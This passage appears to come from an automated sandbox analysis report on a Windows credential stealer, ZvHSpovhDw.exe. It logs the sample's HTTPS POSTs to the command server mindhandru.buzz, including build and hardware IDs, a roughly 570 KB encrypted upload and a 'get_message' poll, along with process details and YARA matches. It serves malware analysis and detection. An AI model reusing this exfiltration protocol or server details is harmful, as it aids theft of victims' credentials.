2024-12-27 07:54:35 UTC	5218	OUT	Data Raw: 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14 cc ad fb 69 00 00 00 00 00 Data Ascii: Zh'F3Wun 4F([:7s~X`nO`i
2024-12-27 07:54:36 UTC	1134	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:54:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=u55orod6crk38ai8vd63qg1jm6; expires=Tue, 22 Apr 2025 01:41:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nNK%2BQLw9sBHlOPTUInbqI7MkI76%2FFVnADUIcrTK2tXF29CLizmOmRBxyTXA%2BAUfceBtBiBpMVlHQBK%2BJ9jQH4jzyGTEo2Df8DYN77m4PUUymnnzrQtREoA%2BuhlnpVi%2FFDtQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87be552eb48c5d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1795&min_rtt=1785&rtt_var=689&sent=15&recv=26&lost=0&retrans=0&sent_bytes=2837&recv_bytes=21506&delivery_rate=1564844&cwnd=211&unsent_bytes=0&cid=aac61631e6223706&ts=1010&x=0"
2024-12-27 07:54:36 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 07:54:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49709	172.67.165.185	443	3364	C:\Users\user\Desktop\ZvHSpovhDw.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:54:38 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=0L1CWTJK31PNJJX06R0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1268 Host: mindhandru.buzz
2024-12-27 07:54:38 UTC	1268	OUT	Data Raw: 2d 2d 30 4c 31 43 57 54 4a 4b 33 31 50 4e 4a 4a 58 30 36 52 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 34 38 41 32 44 42 44 41 44 35 31 42 35 42 37 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 30 4c 31 43 57 54 4a 4b 33 31 50 4e 4a 4a 58 30 36 52 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 30 4c 31 43 57 54 4a 4b 33 31 50 4e 4a 4a 58 30 36 52 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 Data Ascii: --0L1CWTJK31PNJJX06R0Content-Disposition: form-data; name="hwid"A48A2DBDAD51B5B7BEBA0C6A975F1733--0L1CWTJK31PNJJX06R0Content-Disposition: form-data; name="pid"1--0L1CWTJK31PNJJX06R0Content-Disposition: form-data; name="lid"LOGS11--Li
2024-12-27 07:54:38 UTC	1126	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:54:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3tdf5jugem7hqtt03iqpcabe1g; expires=Tue, 22 Apr 2025 01:41:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SLwQMbck%2B%2FnFS4gHePVg9NDtF%2B4T1ae8Z7WbbeVrXXUmhscvhG18aU0FsF5y7KQFWj1givCYwoqb3v42foDZl29nSsrAfLEwAFoRgFVdepdB%2FfcODI9D9clUUCskP3nkF9E%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87be656e754327-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1924&min_rtt=1623&rtt_var=824&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2837&recv_bytes=2185&delivery_rate=1799137&cwnd=245&unsent_bytes=0&cid=8656af30219b1d24&ts=776&x=0"
2024-12-27 07:54:38 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 07:54:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49712	172.67.165.185	443	3364	C:\Users\user\Desktop\ZvHSpovhDw.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:54:40 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=7KW5YVUG2G2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 570540 Host: mindhandru.buzz
2024-12-27 07:54:40 UTC	15331	OUT	Data Raw: 2d 2d 37 4b 57 35 59 56 55 47 32 47 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 34 38 41 32 44 42 44 41 44 35 31 42 35 42 37 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 37 4b 57 35 59 56 55 47 32 47 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 37 4b 57 35 59 56 55 47 32 47 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 37 4b 57 35 59 56 55 47 32 47 32 Data Ascii: --7KW5YVUG2G2Content-Disposition: form-data; name="hwid"A48A2DBDAD51B5B7BEBA0C6A975F1733--7KW5YVUG2G2Content-Disposition: form-data; name="pid"1--7KW5YVUG2G2Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--7KW5YVUG2G2
2024-12-27 07:54:40 UTC	15331	OUT	Data Raw: c7 df 95 e5 af d4 60 9c 87 07 f5 bc 25 7f c6 f8 7f 21 35 e9 cb 9e 9d 08 93 d2 fe 97 df fd 47 aa fd bc 7e b9 3f f7 e7 07 7a 55 78 20 bb 22 4d 77 16 5d 61 25 17 59 8d 3b ff 03 28 4d 8f ff df ed 26 ff f7 01 1e a2 03 70 66 8a 02 ad 04 42 bf 21 2c d8 f8 a0 7d 34 a3 26 13 14 c6 3b 89 5e 68 e8 b7 0b c9 7e cc fd 19 23 84 f4 a7 b2 5e a7 ed 08 00 a9 46 5a 30 3c 3e d8 0b 76 c6 40 8f bd 21 7d 57 f6 9e 9e e6 60 8c 3b ad 51 1e 77 7c d5 59 0e 75 b9 c2 b9 63 b7 6d de 02 6a 89 94 80 70 fb a8 44 61 a6 af 79 ec a1 76 4e 24 1d 9d c4 f5 ba 97 22 7a 84 73 bd 1d 05 81 df af 4c 27 f7 d3 1a a7 4f d1 b9 3d 3f a8 a1 ba 7d de c4 85 4d 9a e8 b9 31 b1 03 ea 82 b2 e1 df be 01 24 82 4f 0d 94 66 25 9d 73 4e c7 e6 6a 21 8e 1c fa 74 01 58 f6 2b 42 63 0d ac 9d f5 2b 2d 36 43 11 92 e0 98 89 Data Ascii: `%!5G~?zUx "Mw]a%Y;(M&pfB!,}4&;^h~#^FZ0<>v@!}W`;Qw\|YucmjpDayvN$"zsL'O=?}M1$Of%sNj!tX+Bc+-6C
2024-12-27 07:54:40 UTC	15331	OUT	Data Raw: 48 e2 cf 94 2a 1b 51 99 79 1d ea 9c d5 08 36 47 71 d9 df 68 3b 37 84 3a 6f e8 87 a0 ef 12 7c 52 1d 2b d5 b0 f0 cb 88 f1 cc be 24 3c fb 79 85 bf 85 36 48 2b 0d b3 44 d0 f2 0a 11 80 ad 87 dd 19 14 66 3d 00 74 2b 83 ff 4d b2 73 c0 d2 0f 90 59 08 72 bf a4 1c 3c db 44 11 e4 ba 3d c9 ff 6f df 76 f9 54 f1 64 73 05 48 00 48 22 ef f9 dc e7 89 03 91 5d 1a 32 28 48 80 f5 41 5c 74 52 a4 03 38 ef 84 b3 14 47 a4 1d a0 43 a1 17 c0 c0 e3 6a a6 47 b1 45 c1 ab e6 fc 4b a7 ee cd c3 2e 18 ac c9 b6 dd 95 dd 57 10 37 d4 65 c0 03 cc d2 bd d1 c2 34 87 6c 54 b7 19 1c 13 34 1b 91 9e 32 a4 ed a8 62 2c e3 a3 de 7c 57 4d e8 38 5e e2 23 6e 08 1e 7c 98 89 7a ad 54 ac 47 29 d8 db 62 b0 b3 e7 94 52 d9 52 e3 26 16 0e 7a fa d3 3b 31 af 76 59 2b 44 94 83 bd c3 0c 7c d2 3e 25 5f 6e 31 3d aa Data Ascii: H*Qy6Gqh;7:o\|R+$<y6H+Df=t+MsYr<D=ovTdsHH"]2(HA\tR8GCjGEK.W7e4lT42b,\|WM8^#n\|zTG)bRR&z;1vY+D\|>%_n1=
2024-12-27 07:54:40 UTC	15331	OUT	Data Raw: 48 9d 48 b3 ac 51 4f 09 77 e9 74 1d bb b4 95 ec 2b d2 8e d1 f8 d3 87 25 76 73 3c 15 c4 8e a4 a6 b1 3c 6a 77 a7 7b 38 3b 45 ec 10 d9 b4 50 41 be aa 15 b9 7a 86 ae 8a da b1 27 35 31 59 9d 35 31 33 5f cd ca 64 90 27 1a d2 ff e2 c2 87 50 fd 89 df b6 ec 07 19 e9 32 e1 97 cb 04 ea 2b b7 98 eb 23 63 31 33 fc d4 76 c2 d7 86 b3 5f 37 3b be 68 ec bb 25 49 4b 5d 7a 95 96 1e 62 86 40 40 50 4c ac 4c 81 0d e2 c2 b5 05 14 39 0c 82 98 32 e0 2a 56 57 12 22 6a 69 14 a8 3f 34 b9 7e 7e d4 74 cf 51 d0 cb 8f 51 4d e5 98 e7 83 0c 0a f5 f2 0f d3 8a f0 af fa 39 a5 7f fa 1a ea dc fe 20 0f ba ea b0 1f d6 b3 9e ed 79 2f 06 2c af 00 4b 4c d9 47 40 95 5c 77 77 3d 90 a1 06 0a e3 ff 4c 2f 4b 23 66 5a 82 36 a3 64 16 74 85 5c 95 be 0e 11 7b 6e fd f0 9d 65 37 6a e9 39 7f ba 3b fb 39 63 55 Data Ascii: HHQOwt+%vs<<jw{8;EPAz'51Y513_d'P2+#c13v_7;h%IK]zb@@PLL92*VW"ji?4~~tQQM9 y/,KLG@\ww=L/K#fZ6dt\{ne7j9;9cU
2024-12-27 07:54:40 UTC	15331	OUT	Data Raw: 02 1d 45 d1 fd f0 2a 21 1e 2f c3 57 92 87 af 33 a4 09 74 dd cc f7 67 46 5f 8d 36 63 c2 0a 6f ab 5c 7c 54 12 f1 19 ad 3b 39 8b cc 29 82 0b ff e0 43 a0 cb dd 3c 54 6c 6b 46 95 80 20 34 86 29 47 47 a0 c8 aa 88 9f 37 0b cc 03 8e 97 9c d6 68 0e f1 5b 8f b6 27 b7 da 74 7f 81 08 e8 fb e2 a0 e3 57 f6 1a 50 8e a6 dc 6b 75 75 a2 ad 74 ea 6a b8 6d f5 4d ab 3b 2b 98 a4 d7 e1 5b 78 a3 74 65 60 ab e2 5f 0a 61 40 20 17 b4 6b 83 81 e2 07 5d 33 dc 4d 0a ce 0a 40 7e 74 64 d0 46 e1 7b 0b 47 e9 d0 9b 7a ab 81 70 cf bf 93 19 f6 85 96 fc 1c 3b 70 fd 34 01 8b 76 5d e1 86 14 1c 48 80 14 8b 10 e1 47 ec fc dc 8f c1 60 6e c2 b5 05 75 68 29 2c 34 32 32 88 1c ee b7 a9 d9 cf 47 b5 68 6e 0a 2a 30 27 2d 9c 21 98 9e 38 15 91 4e d1 ae e0 a8 7a ab c0 d6 ca e9 44 2d 96 2a b8 48 87 cd 3f 37 Data Ascii: E!/W3tgF_6co\\|T;9)C<TlkF 4)GG7h['tWPkuutjmM;+[xte`_a@ k]3M@~tdF{Gzp;p4v]HG`nuh),422Ghn0'-!8NzD-*H?7
2024-12-27 07:54:40 UTC	15331	OUT	Data Raw: b5 05 b5 4c b3 73 82 97 d2 a3 d2 05 26 1f 31 7e 56 23 fa ff 2c a5 2f a6 d2 ca 35 de 51 25 b4 94 6d eb 91 6d 56 67 a4 a2 e8 1a 25 f1 2b 8e fe b8 65 c5 3e d1 ca 4a 31 5b 69 20 21 5b 44 24 59 fa ed c4 d7 8f 85 2d bc 92 9f 8a 61 c0 ae d5 bc f5 ed 5e fa 2d ee 0b c7 c6 da 30 c6 f4 d6 b7 4a 78 1a d7 a1 0f 3b 71 3c 94 59 55 12 0f e5 ef ab 92 f8 1a 22 be b3 3f ff 29 54 67 ec 8c ab 7b df 4b f0 25 1d f5 dd ea 76 73 4e 93 7c b8 26 89 62 fc dd b2 f0 2d b8 62 cb 6e 83 99 63 19 22 3e 12 77 09 5c 19 4e 44 7d 24 5f 38 3d 91 a9 8e 87 66 63 46 6d 73 6a a2 b8 ee 11 29 1c 8d f3 2c 73 08 21 64 e4 40 9e c2 66 dd 45 65 40 58 1b ec fa 79 cb 90 9d e1 be 6e 39 e4 aa 00 a2 8e f4 ae e9 41 43 92 e9 24 36 c5 05 46 3e d7 c1 c1 ee 99 b5 80 4d 17 6c 36 90 da de 78 90 61 3a 79 4f 65 76 bb Data Ascii: Ls&1~V#,/5Q%mmVg%+e>J1[i ![D$Y-a^-0Jx;q<YU"?)Tg{K%vsN\|&b-bnc">w\ND}$_8=fcFmsj),s!d@fEe@Xyn9AC$6F>Ml6xa:yOev
2024-12-27 07:54:40 UTC	15331	OUT	Data Raw: 0b 31 f0 23 2a 4b 25 6e 80 a1 05 22 a6 f6 96 9f c5 81 1d 22 28 d9 c0 ab 2d d9 c7 4d 65 ed e9 33 26 a4 bb 01 b6 95 ab d9 cb 79 fa 59 dc 15 d7 ed 97 97 21 b0 3e fb 37 ef ec 5f 44 a0 63 80 64 08 9d ee e4 9e 87 a3 09 9c c5 c7 b3 ed c4 93 23 a7 e7 28 9a b8 db 4b 6b e1 9d 92 17 ce 38 df cf b1 c0 8b 54 2e 2d df 0c e0 e7 dc 95 bb 2d 73 4c c8 ea cb 45 ad 65 67 ee d5 47 8d 9e 3a a3 9b c9 a1 83 3d 23 e8 42 eb 0b be b5 36 b9 e3 5b f2 0f 7a 16 3e 42 48 f1 1a 40 b1 c6 d7 7e 84 ec c7 c6 5a ea 34 30 0c ed 5a 01 db d0 59 e4 7f 97 20 c6 bb ec 5c 76 a4 8a 34 3c 96 d1 84 fb 1f e8 62 02 26 7e a4 e6 8c 13 7c 07 64 05 83 4b bb 91 80 20 da 1c b4 35 c6 a8 03 7e 7d 60 be b3 30 9f 12 d9 24 7d e0 37 d6 8d ae 11 03 66 2d 1e fb 60 9b 47 b0 17 63 83 2f b7 4d 8e ea 07 09 ea 83 75 85 16 Data Ascii: 1#*K%n""(-Me3&yY!>7_Dcd#(Kk8T.--sLEegG:=#B6[z>BH@~Z40ZY \v4<b&~\|dK 5~}`0$}7f-`Gc/Mu
2024-12-27 07:54:40 UTC	15331	OUT	Data Raw: 1b 5c 95 b3 e7 27 d2 4d 1c 14 2f 2b 3f d7 9f 57 eb 70 4b b0 ad 57 92 8f d0 bd 2c 9c c4 d3 84 fc 42 1b 09 db 5b 4e bb 4c 5a 26 8e 84 f7 e3 83 dc a1 ec ca 55 b5 f2 9f d8 e2 c7 91 63 f7 cd f4 23 78 a0 37 43 dd 23 23 aa f4 af 44 6e 66 50 e9 33 bf 3f 25 de df 22 33 54 83 de 48 92 e9 bd e2 82 dd bf 33 6d 25 de 9f 2e af a4 a7 08 92 7d 4e ff fe 73 37 04 04 3b fb f9 30 e0 91 72 e6 63 57 64 76 22 f5 f6 bc 26 bb 46 9c eb e9 5f f6 a4 ce bb e2 06 4f cb 61 f5 e8 2b 7d cb 63 a6 90 dd 71 77 fb eb dc 7f bf 57 3c 8e d2 e8 96 ac 13 84 f7 72 bc 19 2c 0c ee d6 aa 78 38 fe fc 56 76 98 71 a4 84 3e 6a b5 b6 16 69 33 e7 d6 7c 27 6f 2d 07 91 89 00 23 0b ed 18 4d 7f cf c8 c3 1a 91 7d 19 43 b6 b3 ec d9 1f 22 ea b4 87 63 e0 73 7b a5 45 ba 4f 1c 71 cf d4 84 51 71 8f dc 5a d6 4e a2 4f Data Ascii: \'M/+?WpKW,B[NLZ&Uc#x7C##DnfP3?%"3TH3m%.}Ns7;0rcWdv"&F_Oa+}cqwW<r,x8Vvq>ji3\|'o-#M}C"cs{EOqQqZNO
2024-12-27 07:54:40 UTC	15331	OUT	Data Raw: 72 3e ea 24 1e 2e ba dd 31 57 cf b6 70 cf 4e c4 1d d8 29 8f 30 5f 61 5e e3 41 54 15 b2 f2 e5 cf 71 d2 48 29 84 c4 71 e1 2f e3 74 fd 13 c7 45 34 1c 61 d9 b9 ab 63 b6 11 84 d1 5a 01 ee 2d 60 f3 d5 58 02 20 38 6f 46 ad d1 16 04 d8 c5 5b 24 fb 78 e4 ef b5 93 b6 d9 e8 98 b5 70 3b b3 fa bb 18 4a da 06 26 66 7c 48 17 a3 d5 8a 48 48 22 b6 32 91 2c e4 ec cf bf 71 f2 c3 7c 1f bf 93 8f c7 46 99 51 98 cf c4 19 e7 b0 79 84 e2 b2 ad 44 e5 a5 af 93 9a ed 8d ab 8a 3a af 76 50 51 11 b7 a5 08 7d e1 ef 0e e3 3d 01 ec 2f 72 e8 68 2b 73 4a bf ed 67 2b e9 c9 2e 99 fb e6 2a 93 e7 7a 72 c9 1d 95 9c 8f c7 74 69 24 df 2d d1 cd 37 07 3a 14 f5 94 f0 89 f5 69 0a 76 18 c2 fd 6f b5 a8 b0 ea 8b 78 8f 01 ea 75 1f b5 65 f8 6b fb 51 84 e7 6c 6a 22 ad a7 71 ab 7e df 24 44 80 15 d3 61 54 18 Data Ascii: r>$.1WpN)0_a^ATqH)q/tE4acZ-`X 8oF[$xp;J&f\|HHH"2,q\|FQyD:vPQ}=/rh+sJg+.*zrti$-7:ivoxuekQlj"q~$DaT
2024-12-27 07:54:40 UTC	15331	OUT	Data Raw: 54 46 91 e8 70 d6 05 b3 17 f5 80 5a 92 44 ad 16 03 37 76 da e5 d4 7b 79 35 f0 8c c9 0e 5d 0c 78 de 29 26 9f 53 3d cd 71 7b d2 5c 7c 84 73 e3 7b ac 14 bc 97 75 20 35 46 02 e0 3b 70 0c 1c 01 df 8d 82 65 b7 be 68 7f 69 e1 65 3a d3 88 e8 72 67 8b 4b 16 28 58 37 b6 53 b8 25 4f f3 18 b0 b4 c8 6e a8 57 59 0b 49 6e 41 12 cb 51 aa 3d 6e 48 2d 65 a5 3e aa 3a 4b 55 5e e8 fe a2 0b 82 54 c9 01 5b 12 e0 c3 ba 99 a0 a1 cc d4 ab 62 be 3c cc 62 e6 f1 e8 8d 53 6f b0 57 86 1a d0 ba 5b f4 90 fe 1e 93 fc 73 25 9a 49 70 84 14 e8 6d c0 03 62 3e 40 89 57 1f a0 2b d1 94 92 4d 14 6f 6a 33 f7 46 19 09 82 55 7b b7 7a 3b 24 4b 70 8b 42 6c 30 36 0f df b1 b5 6b d6 8c 95 2a ea 5a 60 86 82 cb 93 77 50 d3 fb 9a 97 44 a4 c2 26 d5 88 33 22 57 50 32 1a c4 00 e8 ae 9d b7 ff 2c 0f 3b ad 36 6f Data Ascii: TFpZD7v{y5]x)&S=q{\\|s{u 5F;pehie:rgK(X7S%OnWYInAQ=nH-e>:KU^T[b<bSoW[s%Ipmb>@W+Moj3FU{z;$KpBl06k*Z`wPD&3"WP2,;6o
2024-12-27 07:54:44 UTC	1127	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:54:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m04rg14j142p4mis9q6m2oi6ip; expires=Tue, 22 Apr 2025 01:41:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aeblNc7F0TBBkKtfSpCCJI5fpWHW0W3%2FmuD6kvDsrHWqN2RbLhYsYM1WNQo01pDDazOLTyLae2Uc2OIuvYBpmGovYJPCyuWjH2Vl84BnX9OxIQHXbv9SjdkGDuPhA44kQNI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87be75194143a9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1588&min_rtt=1586&rtt_var=598&sent=202&recv=594&lost=0&retrans=0&sent_bytes=2836&recv_bytes=573079&delivery_rate=1822721&cwnd=245&unsent_bytes=0&cid=da03408262711d2b&ts=3746&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49722	172.67.165.185	443	3364	C:\Users\user\Desktop\ZvHSpovhDw.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:54:45 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: mindhandru.buzz
2024-12-27 07:54:45 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 41 34 38 41 32 44 42 44 41 44 35 31 42 35 42 37 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=A48A2DBDAD51B5B7BEBA0C6A975F1733
2024-12-27 07:54:46 UTC	1129	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:54:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kjk566mthn1khiheb7eksat9jt; expires=Tue, 22 Apr 2025 01:41:25 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Y%2FHEDT4pYgsvRQ3X%2Fo02vPa%2Bz1ZjVoLjEzsiuaKcRWmbcfrMvnuczVyX3DjNdtGYlwTvDyVfOIOuFtXf%2BPq8EwBFH9SGXYZHO34wAyjMn1YQOR73%2Bl8by4%2BC6xoxgWRkoW8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87be96c98c431a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2017&min_rtt=2016&rtt_var=758&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=987&delivery_rate=1441263&cwnd=224&unsent_bytes=0&cid=ae65abdebf8f4001&ts=783&x=0"
2024-12-27 07:54:46 UTC	210	IN	Data Raw: 63 63 0d 0a 42 2f 4e 6f 74 78 7a 67 6f 7a 69 4b 69 59 74 54 50 54 79 44 70 64 4c 63 48 6c 64 4f 36 33 43 70 45 39 37 44 58 7a 52 6b 43 76 52 63 69 45 72 43 50 74 71 42 55 50 37 39 2b 32 6c 68 45 39 2b 4b 34 2b 51 72 65 58 7a 61 52 59 63 69 37 2f 42 78 42 56 4a 57 32 32 69 56 44 75 73 7a 68 4d 5a 65 70 4f 7a 7a 4e 68 38 51 6f 63 4f 6d 2f 69 52 6e 59 73 6b 56 69 79 6e 76 76 6e 4e 50 52 6e 2f 57 50 64 45 41 77 32 69 51 6d 57 53 6c 31 61 52 69 42 51 6d 74 6c 2b 50 70 4d 47 5a 2f 32 46 36 59 4a 59 4c 73 4d 46 49 43 56 74 74 6a 6c 67 36 5a 65 5a 6a 47 47 71 61 72 37 53 63 66 42 72 4f 4a 38 4c 6b 38 62 58 36 57 4c 51 3d 3d 0d 0a Data Ascii: ccB/NotxzgoziKiYtTPTyDpdLcHldO63CpE97DXzRkCvRciErCPtqBUP79+2lhE9+K4+QreXzaRYci7/BxBVJW22iVDuszhMZepOzzNh8QocOm/iRnYskViynvvnNPRn/WPdEAw2iQmWSl1aRiBQmtl+PpMGZ/2F6YJYLsMFICVttjlg6ZeZjGGqar7ScfBrOJ8Lk8bX6WLQ==
2024-12-27 07:54:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	02:54:21
Start date:	27/12/2024
Path:	C:\Users\user\Desktop\ZvHSpovhDw.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\ZvHSpovhDw.exe"
Imagebase:	0xb0000
File size:	2'921'472 bytes
MD5 hash:	324D6E34A64EBCF92FA3B8FDEFF6AC05
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2182868454.0000000000B1D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2182934684.0000000000ABB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:54:56
Start date:	27/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=ZvHSpovhDw.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	02:54:56
Start date:	27/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
